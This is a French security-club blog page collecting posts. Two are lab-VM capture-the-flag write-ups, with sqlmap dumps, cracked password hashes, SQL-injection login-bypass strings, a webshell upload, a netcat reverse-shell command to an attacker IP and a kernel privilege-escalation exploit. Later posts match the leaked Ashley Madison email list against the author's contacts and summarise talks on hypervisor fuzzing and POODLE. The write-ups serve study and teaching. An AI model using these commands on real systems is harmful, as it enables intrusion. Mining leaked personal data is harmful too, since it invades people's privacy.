Introduction

Comme pour la première séance, on nous remet une VM dont on ne sait absolument rien et le but est de devenir l’administrateur de celle-ci. La VM peut se télécharger ICI .

Puisqu’il s’agit d’une séance de pentest, cette fois je choisi de faire le boulot avec autant que possible des outils standards. Pas de cousu main pour cette fois ! Pour ceci la distribution KALI est un bon point de départ. Virtual Box est utilisé pour faire tourner la machine attaquée et également la VM KALI attaquante. Un LAN privé est utilisé entre les 2 VM afin d’isoler complètement tout ça du PC hôte.

État des lieux

Une fois la VM lancée, nmap est le bon candidat pour regarder ce qui est ouvert sur la VM :

nmap

On a donc du SSH et du HTTP. On part sur un challenge de type « web ».

On lance quand même Nikto pour aller plus vite et on note la présence d’un PhpMyAdmin, 9 ans d’age s’il vous plait.

Première connexion, on tombe sur un CMS et un module de galerie photos :

CMS1  Gallery1

 

Obtenir un accès utilisateur à la VM

Premier chemin :

Dans l’URL du CMS on a le paramètre page= qui nous tend les bras. Le fait d’y coller plusieurs caractères simple quote nous donne une belle erreur PHP :

Une fois un peu de doc lu sur le sujet, la fonction « eval() » en PHP, si elle est pilotable, nous permet de faire exécuter du code de notre cru. J’essaye plusieurs formes telle-que , page=’phpinfo(); , page='<? phpinfo(); ?> mais rien à faire, tjrs une erreur. Iggy me fait remarquer qu’un bug comme celui-ci est presque impossible à exploiter sans le code source. Le CMS en question est donc LotusCMS, et ceci nous amène rapidement à la page suivante sur ExploitDB.

C’est le moment de démarrer Metasploit et de prendre en main l’outil. Une fois Metasploit lancé et la lecture d’un tuto plus tard, l’exploitation de la faille sur LotusCMS 3.0 donne en gros ceci : Trace session Metasploit pour obtenir un shell

A ce point précis, nous pouvons déjà lancer des commandes avec l’uid www-data. Ce qui est déjà un pas trop mal.

Maintenant on sort la frontale et on glane tout ce qui traine dans les fichiers accessibles via le compte www-data. Le gagnant sera :

cat gallery/gconfig.php | grep _mysql_
$GLOBALS[« gallarific_mysql_server »] = « localhost »;
$GLOBALS[« gallarific_mysql_database »] = « gallery »;
$GLOBALS[« gallarific_mysql_username »] = « root« ;
$GLOBALS[« gallarific_mysql_password »] = « fuckeyou« ;

Il est maintenant temps d’utiliser le PhpMyAdmin avec les identifiants ci-dessus afin de se connecter plus aisément qu’en ligne de commande et dumper complètement toutes les bases de données présentes.

Une fois les bases dumpées les tables pouvant contenir des comptes sont à privilégier et la table dev-accounts est une bonne candidate, dans laquelle ou trouve :

INSERT INTO dev_accounts (id, username, password) VALUES
(1, ‘dreg’, ‘0d3eccfb887aabd50f243b3f155c0f85‘),
(2, ‘loneferret’, ‘5badcaf789d3d1d09794d8f021f40f0e‘);

Ce qui tombe bien car ces comptes utilisateurs existent sur la VM :

ls -l /home/
total 12
drwxr-xr-x 2 dreg       dreg       4096 Feb 11 12:43 dreg
drwxr-xr-x 3 loneferret loneferret 4096 Feb 11 12:52 loneferret
drwxr-xr-x 3 root       root       4096 Apr 12  2011 www

Cote crack des mots de passes, en 2016 on n’a pas besoin de hashcat pour du MD5, Google suffira :

0d3eccfb887aabd50f243b3f155c0f85 –> Mast3r

5badcaf789d3d1d09794d8f021f40f0e –> starwars

 

Deuxième chemin :

Le trou de sécu du CMS n’était pas le seul permettant de se promener sur le serveur. Le module de gallery comportait aussi une faille de type SQL Injection. En jouant avec les URLs et surtout les paramètres on obtient assez vite une erreur intéressante :

Sqli

Il est donc temps de regarder comment sqlmap fonctionne afin de ne surtout pas se fatiguer les neurones.

L’outil est d’une simplicité déconcertante et nous permet de naviguer dans les bases de données du MySQL assez librement. Voilà les commandes à passer :

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql  –>

GET parameter ‘id’ is vulnerable.

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql – -dbs  –>

available databases [3]:
[*] gallery
[*] information_schema
[*] mysql

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql – -tables  –>

Database: gallery
[7 tables]
+—————————+
| dev_accounts              |
| gallarific_comments       |
| gallarific_galleries      |
| gallarific_photos         |
| gallarific_settings       |
| gallarific_stats          |
| gallarific_users          |
+—————————+

Database: information_schema
[16 tables]
+—————————+
| CHARACTER_SETS            |
| COLLATIONS                |
| COLUMNS                   |
| COLUMN_PRIVILEGES         |
| KEY_COLUMN_USAGE          |
| PROFILING                 |
| ROUTINES                  |
| SCHEMATA                  |
| SCHEMA_PRIVILEGES         |
| STATISTICS                |
| TABLES                    |
| TABLE_CONSTRAINTS         |
| TABLE_PRIVILEGES          |
| TRIGGERS                  |
| USER_PRIVILEGES           |
| VIEWS                     |
+—————————+

Database: mysql
[17 tables]
+—————————+
| user                      |
| columns_priv              |
| db                        |
| func                      |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| proc                      |
| procs_priv                |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
+—————————+

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql  -D gallery -T dev_accounts – -dump –>

Database: gallery
Table: dev_accounts
[2 entries]
+—-+————+———————————-+
| id | username   | password                         |
+—-+————+———————————-+
| 1  | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 |
| 2  | loneferret | 5badcaf789d3d1d09794d8f021f40f0e |
+—-+————+———————————-+

Le hash des mots de passes sont donc bien obtenus également par cette 2ème faille.

 

Troisième chemin (fort probable …) :

Le PhpMyAdmin date d’il y a 9 ans ! Je n’ai pas trouvé de méthode pour passer sans m’authentifier, mais il est quasi certains qu’il doit y avoir moyen. Reste à la découvrir …

 

Le compte root

Maintenant il est temps de se connecter via le SSHD et les comptes trouvés afin de voir ce que les /homes des développeurs cachent.

Le compte dreg est vide, aucun intérêt. Par contre c’est plus intéressent pour loneferret. Là il y a encore 2 façons de voir ce qu’il est possible de faire pour passer root.

La première, plus instinctive mais moins fiable, est d’aller regarder le fichier .bash_history . Ici on trouve une seule commande : sudo ht

Et la seconde, plus élégante, c’est de demander via le mécanisme sudo ce que l’utilisateur peut faire comme commandes avec privilèges étendues. Ceci ce fait tout simplement avec la commande :

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht

Dans les deux cas, on trouve que la seule commande qui se lance avec les privilèges root est sudo ht, ce que nous nous empressons de faire.

Nous récupérons l’interface suivante :

sudo_ht

(tips : si vous obtenez une erreur « Error opening terminal: xterm-256color. » au lancement de ht, avant de vous connectez en SSH lancez depuis votre terminal : export TERM=xterm ).

L’interface ci-dessus est un éditeur de texte échappé d’un autre temps mais qui permet de modifier librement tous les fichiers du disque. Il ne nous reste ensuite plus qu’à nous attribuer tous les droits dans le fichier /etc/sudoers et nous connecter au compte root avec un sudo su –. Nous sommes bien passés root :

sudo_su

P0wned !

 

Conclusion

Une VM à hacker qui amène à se poser pas mal de questions, surtout quand on ne fait pas de pentest. La ligne de conduite d’utiliser des outils tout-fait a bien été respectée, aucun mauvais script n’a été utilisé :-), ce qui a permis de découvrir quelques outils intéressants. KALI est bien adaptée à ce genre de manips.

Merci a Iggy pour avoir préparé les manips et avoir distillé quelques conseils afin que le root soit possible en séance.

Pièces jointes

Pour la séance d’introduction au pentest, nous avions une VM à root en ne connaissant que l’IP. La VM est disponible ici

Je vais expliquer les étapes suivies pour la root ainsi que présenter les choses intéressantes que j’ai tentées en cours de route, même si elles n’ont pas été d’une grande utilité en fin de compte,

Je n’expliquerai pas en détails certains mécanismes sur lesquels l’attaque est basée mais je me suis efforcé de mettre des liens pour ceux qui seraient assez novice.


 

Reconnaissance

La première étape, lorsque l’on a qu’une adresse IP qui nous est donnée, est de faire un scan distant de la machine afin de voir quels services tournent et quels peuvent être les points d’entrées sur la machine. Pour cela j’ai utilisé nmap comme sur l’image ci-dessous:

Capture d'écran de 2016-02-05 13_10_46

scan nmap

Les paramètres précisés servent à préciser que l’on veut seulement tester de l’IPv4 (-T4), tous les ports de 1 a 65365 (-p 1-65365) sur l’IP cible. Le paramètre -A dit à nmap de s’exécuter en mode agressif, cela va activer la détection d’ OS et autres éléments.

On peut voir sur le résultat du scan que notamment le port 22 (ssh) est ouvert, j’ai essayé du coup de lancer ssh sur l’IP pour voir si il pouvait y avoir quelque chose d’intéressant comme une bannière mais rien de la sorte. On voit aussi que les ports http (80) et https (443) sont ouverts ainsi que le port 3306 sur lequel tourne MySQL, il semblerait donc qu’il y ait un site web qui tourne sur la VM. On ouvre son navigateur préféré et quand on rentre l’IP en URL on est bien présenté avec un site web et c’est cela qu’on va attaquer.


Attaquer le site web

Bypass l’authentification

Une des failles les plus courantes sur les sites web sont les injections SQL, et en arrivant sur le site on peut directement voir un onglet Log In qui nous emmène vers un formulaire de connexion. J’ai donc essayé de voir si le formulaire était sensible à une injection SQL.

iggy a présenté son injection à un autre endroit du site web et Le_suisse a quant à lui complètement bypass l’authentification sans jamais cracker le mot de passe ou le nom de l’utilisateur. Ces deux autres attaques sont aussi détaillées.

Pour tester si le formulaire était vulnérable j’ai utilisé sqlmap afin d’automatiser le processus et récupérer un maximum d’informations. Comme il s’agit d’une requête POST je l’ai déjà récupérée en format texte (je l’ai fait avec burp car je l’avais déjà lancé mais il y a d’autres moyens) et l’ai mise dans un fichier que je passe en argument de sqlmap comme sur l’image ci-dessous:

Capture d'écran de 2016-02-05 13_15_14

Le paramètre -r permet de dire a sqlmap de lire la requête dans un fichier, le paramètre -a quant à lui permet de dire a sqlmap de faire le café et d’essayer de tout retrouver dans la base de données si possible.

L’exécution de sqlmap nous confirme que le formulaire est injectable et de cela, sqlmap nous sort toutes les tables, les utilisateurs de la base de données, etc..

Lorsque sqlmap trouve des valeurs qui peuvent correspondre à des hash de password, l’outil demande si on veut essaye de les crack. En faisant ça, on trouve dans la table user un utilisateur « admin » avec comme mot de passe « 12345678 » (cf. image)

Capture d'écran de 2016-02-05 13_17_51

résultats sqlmap

 

L’exécution de sqlmap nous permet aussi de retrouver les utilisateurs enregistrés qui ont accès à la base de données. J’ai essayé du coup d’accéder de manière distante à la base de données MySQL depuis ma machine hôte mais cela ne semblait pas possible. Mon idée était de voir si c’était possible et ensuite d’utiliser les mécanismes de la base de données pour effectuer un appel système et prendre le contrôle de la machine distante depuis ce point d’entrée.

On essaye donc de se logger en rentrant « admin » et « 12345678 » dans le formulaire et bingo!

Injection de iggy:

lorsque l’on clique sur un article pour le lire sur la page d’accueil on voit que l’url est de la forme @IP/?id=2, il s’avère que ce paramètre est aussi sensible à une injection SQL et qu’on peut effectuer la même démarche avec sqlmap sur cette URL.

Injection de Le_suisse:

Il y a moyen de s’authentifier avec succès sans cracker le contenu de la base de données à l’aide d’une injection SQL.

En arrivant sur le formulaire, la première chose à se rendre compte, surtout si on veut injecter le formulaire directement, est qu’il y a un filtre javascript sur les valeurs du formulaire appliqué à l’envoi:

Capture d'écran de 2016-02-05 14_03_35

Capture d'écran de 2016-02-05 14_03_51

filtre formulaire

On voit que ce filtre remplace tout ce qui n’est pas une lettre ou un chiffre par rien. JavaScript est cependant ici client-side et donc on peut tout simple le désactiver à l’aide de firebug et virer le filtre complètement (nécessaire si on veut injecter directement depuis la page web) comme sur l’image ci-dessous:

Capture d'écran de 2016-02-05 14_03_15

Le_suisse m’a donné la forme globale de l’injection qu’il avait faîte et après quelques essais voici celle qui a marché pour moi, la sienne étant sûrement similaire:

Username: ‘ or ‘a’=’a

Password: ‘) or (‘1’=’1

 

Maintenant que nous sommes connecté sur le site, en plus en tant qu’admin, il faut regarder quelles sont les choses auxquelles on a désormais accès. On voit que l’on peut éditer les événements et en rajouter ainsi qu’upload des fichiers en créant un évènement, on a aussi accès à la gestion des utilisateurs et aux log.

Suite de l’attaque

Notre but final étant de root la machine, on va donc chercher à trouver un vecteur d’attaque nous permettant d’avoir un pied sur le système.

Cross-site scripting (XSS)

Une autre vulnérabilité très répandue sur les sites web est la possibilité de faire du XSS, j’ai testé de voir si on le site y était sensible et il s’avère que c’est le cas. En mettant du script dans le contenu d’un événement, celui-ci se retrouve exécute par l’utilisateur à la visualisation des articles:

 

Capture d'écran de 2016-02-05 14_04_31

Capture d'écran de 2016-02-05 14_04_40

XSS

J’ai essayé d’injecter directement du php du coup afin de pouvoir attaquer le système mais il se fait « sanitizer« , il faut donc trouver un autre moyen de pénétrer le système.

Webshell par upload de fichier

Si l’on retourne à l’ajout d’un événement, on voit que l’on a la possibilité d’uploader un fichier. Si il n’y a pas de restrictions sur le fichier que l’on upload et qu’on y a ensuite accès, il doit être possible d’uploader un fichier php nous donnant un webshell.

Exemple de webshell basique:


 

J’ai perdu énormément de temps ici car j’ai voulu griller les étapes et récupérer mon shell directement en faisant exécuter à mon php la commande système « nc -e /bin/sh 192.168.56.1 4444 » qui ne passait pas (je reviendrai dessus plus tard). monty m’a donc pointé vers un webshell php avec interface graphique: b374k-shell, je l’ai upload et j’ai donc un webshell sur lequel je peux effectuer des commandes systèmes:
Capture d'écran de 2016-02-04 22_16_21

b374k-shell

Obtenir un shell

Lorsque l’on veut un shell distant, on faitt souvent la distinction entre un bind shell et un reverse shell.

Bind shell: Dans ce cas là on va utiliser la machine cible en mode serveur et se connecter dessus depuis notre machine attaquante

Reverse shell: Dans ce cas là, on va utiliser notre propre machine en mode serveur et faire en sorte que la machine attaquée se connecte dessus

Le choix dépend de la situation et de la config réseau, si la machine attaquée était derrière un routeur qui fait du NAT et qu’elle n’était pas routable depuis l’extérieur l’utilisation du bind shell aurait été impossible. De même si, par exemple en ctf, vous attaquez une IP publique mais que n’avez que votre connexion avec votre box qui fait du NAT, c’est beaucoup plus indiqué d’utiliser un bind shell.

J’ai choisi d’utiliser un reverse shell. On démarre une session en mode listener (serveur) sur ma machine hôte avec la commande nc -lvp <my_port> (dans ce cas là nc -lvp 4444) et on va se connecter dessus depuis la cible. Une manière de faire cela est d’effectuer la commande nc -e /bin/sh  <host_ip> 4444, cependant le flag -e n’est pas présent sur toutes les versions de netcat et il s’avère que c’était de là que provenait mon erreur.

J’ai donc choppé un one liner sur pentestmonkey pour faire un reverse shell :

Résultats:

Capture d'écran de 2016-02-04 22_16_37

 

Dernière étape: r00t

Après avoir le shell on peut commencer à taper nos commandes,

On effectue entre autres:

La première commande nous permet de voir que nous sommes sur la machine en tant que l’utilisateur apache.

La deuxième commande nous permet de récupérer la version du kernel de la machine cibe.

Notre but étant d’être root, il va nous falloir faire une privilege escalation pour passer root, celles-ci peuvent entre autres intervenir suite à une mauvaise configuration de l’admin de la machine ou à un bug dans la version du kernel.

Le resultat de la deuxième commande nous permet de savoir que le noyau Linux qui tourne est un 2.6. On va donc chercher sur exploit-db ou site similaire si il y a pas un exploit pour la version 2.6 du kernel Linux. Dans l’installation de Kali, il y a une répertoire contenant une image de exploit-db avec un script de recherche que vous pouvez trouver dans le répertoire

En exécutant la commande suivante on obtient une liste d’exploit potentiels:

Après plusieurs essais infructueux pour ma part avec la plupart de ces exploits, il me semble qu’on a tous utilisé cet exploit qui correspond au script 8478.sh. La compréhension de cet exploit dépasse complètement le cadre de ce write-up, pour ceux intéressé par les détails => http://lwn.net/Articles/329266/

On utilise l’interface d’upload de fichier du site pour upload notre script sur le serveur (que j’ai renommé exploit4.sh dans mon cas).

Le script sera présent dans le répertoire dans lequel le shell est situé.

L’exécution du script requiert en argument le pid de la socket NETLINK que l’on récupère avec:

Le pid qui nous intéresse est celui sur la ligne contant la valeur ffffffff pour groups. Dans mon cas cette valeur est 378.

On exécute donc les commandes suivantes:

Résultats:

Capture d'écran de 2016-02-04 22_20_07 Capture d'écran de 2016-02-04 22_24_38

 


 

Merci à iggy pour la séance 🙂

Vous pouvez trouver les slides de iggy ici

 

Logo Docker

Avec à peine une semaine de retard, j’ai enfin mis les slides de la présentation à disposition.

Vous pouvez visionner directement la présentation en ligne ou bien jeter un œil aux sources.

Comme promis pendant la présentation, les sources du challenge web de rentrée avec du Docker inside sont aussi disponible. Je préviens, c’est quick & dirty et les bonnes pratiques évoqués pour Docker sont loin d’être toutes appliquées 😉 .

Pièces jointes

Last week was published the dump of the data base of Ashley Madison. A lot of people has started to look into this to find cool stuff, including me.

So first I downloaded the relatively-large dump (10GB). Then I extracted the archive corresponding to email addresses (aminno_member_email.dump), and from this, with a few lines of python, I ended with a list of 36 396 162 email addresses.

Let’s wander a little bit

From that, I made a few statistics (grep + wc) with no big interest, but some are funny :

  • .fr: 275 708
  • .gouv.fr: 33
  • cea.fr: 3
  • upmf-grenoble.fr: 2
  • imag.fr: 1

And … one very amusing: pope@vatican.com

Then, I checked a few email addresses of people I know, just in case …

Up to the next level

Ok, so now what? Well, what if I could check all people I know to see if they are in this list? Still just in case …

Getting emails from people I know

I have a file containing all email addresses registered on Ashley Madison, but I need to collect all email addresses from people I know. Exporting my address book does not fulfill my goals. I’d like to extend to all people I’ve sent an email to or received an email from. So how to extract this from my email desktop client (here, Mail from Apple) ?

From the user interface, it is very unlikely that such a thing is possible. If any, I did not find it. But I found two interesting posts on the web (http://superuser.com/questions/192227/how-to-export-email-addresses-from-apple-mail and http://c-command.com/spamsieve/help/how-can-i-rebuild-apple). From the first one, I learned that Mail store information in a sqlite database. The other one told me about an interesting file: /Users//Library/Mail/V3/MailData/Envelope Index, which is one of these sqlite files. It sizes 31MB, and was written just a few minutes ago. A strings on it tells me that it contains (a lot of) emails plus the headers, including email addresses. So a few sqlite commands later, here I am with a file containing all email addresses I (directly or indirectly) interacted with during the last two years. Here is the detail of the sqlite commands I used, for those who are interested:

This gave me a file of 5669 lines, one email address per line.

Computing the matching

Once I have these two files, it becomes quite easy to compute the intersection, with a few lines of Python and a little optimization thoughts. Some important points of the implementation:

  • I first sorted the email list from the dump alphabetically, to speed up the search.
  • I sort of hashed it using the first two letters as a key

The implementation can be found here.

The result of my experimentation:

Unfortunately, no one of my email contacts was registered on Ashley Madison …

Bonus

As a bonus, here is a part of the descriptions people use in their profiles on Ashley Madison. Enjoy.

@_Frky

Salut !
Pour ceux qui étaient en Amphi, en D102, dans un couloir, dans le tram B ou peut-être en D109, pendant la présentation de jeudi, voici la version pdf ainsi que divers liens concernant ce sujet… complexe (qui a dit bordélique ?)

 

Présentation :

 

SAP official :

La création d’un compte est gratuit… mais très franchement je donne ces liens plus pour info qu’autre chose. C’est difficile de s’y retrouver pour des personnes non familiarisées à SAP. Le plus parlant reste les ‘security notes’.

 

Blogs / Publications / Talks / Articles

C’est plus ici que vous trouverez des infos. Un peu en vrac, faut fouiller, mais il y a des perles. Les trois gros acteurs du ‘marché’ sont Onapsis (US), ERPScan (RU) et VirtualForge (DE). Read More →

Un petit résumé de la présentation Securimag du jeudi 13 Novembre consacrée à l’étude des hyperviseurs, au fuzzing et à toutes les bonnes choses dont on vous a privé quand vous étiez petit.

Dis moi papa, c’est quoi cette bouteille de lait un hyperviseur ?

Un hyperviseur, c’est toute l’architecture qui permet d’émuler le matériel nécessaire au fonctionnement d’un ordinateur (et plus encore puisque Qemu permet aussi de modéliser les microprocesseurs embarqués, vous pouvez donc modéliser tout ce qui est nécessaire à votre balance intelligente si vous n’avez que ça à faire).

Donc en gros, un hyperviseur, ça permet de créer une (ou plusieurs) machine virtuelle dans lesquels vous allez pouvoir faire tourner un Linux (ou un Windows) comme si vous étiez sur une vrai machine.

Dans toute la suite, j’ai pris l’exemple de Qemu/KVM puisque c’est ce logiciel que j’ai attaqué. Je ne peux que vous conseiller d’aller voir comment marche les autres hyperviseurs. (Il y a un très bon MISC à ce sujet).

C’est quoi une machine physique ?

Oui, parce que si on veut émuler quelque chose, il faut savoir ce que c’est. Et un ordinateur, c’est ça:

archicomputer

 Il va donc falloir émuler le processeur, la MMU (Memory Management Unit, qui gère les accès à la mémoire physique) la mémoire et les périphériques. On fait de l’émulation, et non pas de la simulation. Read More →

Pièces jointes

Après trois semaines, voici un résumé de la présentation du 16 octobre sur la faille POODLE.

POODLE est une vulnérabilité dans le protocole SSLv3 qui a été détectée le 14/10/2014 par deux chercheurs de chez Google. Exploitée par un attaquant placé en Man-In-The-Middle entre un client et un serveur supportant tous les deux SSLv3, elle permet le déchiffrement partiel de requêtes HTTPS. L’attaquant peut donc ainsi récupérer les cookies de session de la victime et ainsi usurper l’identité de ce dernier auprès du serveur cible.

Etape 1 : La Downgrade Dance

Afin d’exploiter la faille du protocole SSLv3, encore faut-il que les communications attaquées utilisent ce protocole. Supposons tout d’abord que l’attaquant soit placé entre le client/la victime et le serveur cible (Man In The Middle). L’attaquant a alors le contrôle sur les communications entre les deux parties.

Lors de l’établissement d’une connexion TLS, le client et le serveur  se communiquent la plus grande version de TLS que chacun supporte afin de choisir celle à utiliser. Cependant, si la communication échoue, le serveur, va proposer une version plus petite du protocole TLS et réessayer d’établir une connexion.

L’attaquant ayant le contrôle sur le canal de communication, il peut volontairement faire échouer les tentatives de connexion : le serveur proposera successivement d’établir une connexion utilisant les protocoles TLS 1.2, TLS 1.1, TLS 1.0, puis SSLv3, « l’ancêtre » de TLS qui est toujours supporté pour des raisons de rétrocompatibilité. L’attaquant laissera donc la connexion s’effectuer en SSLv3 afin d’exploiter la vulnérabilité POODLE.

Etape 2 : Déchiffrer … un octet

Read More →

Pièces jointes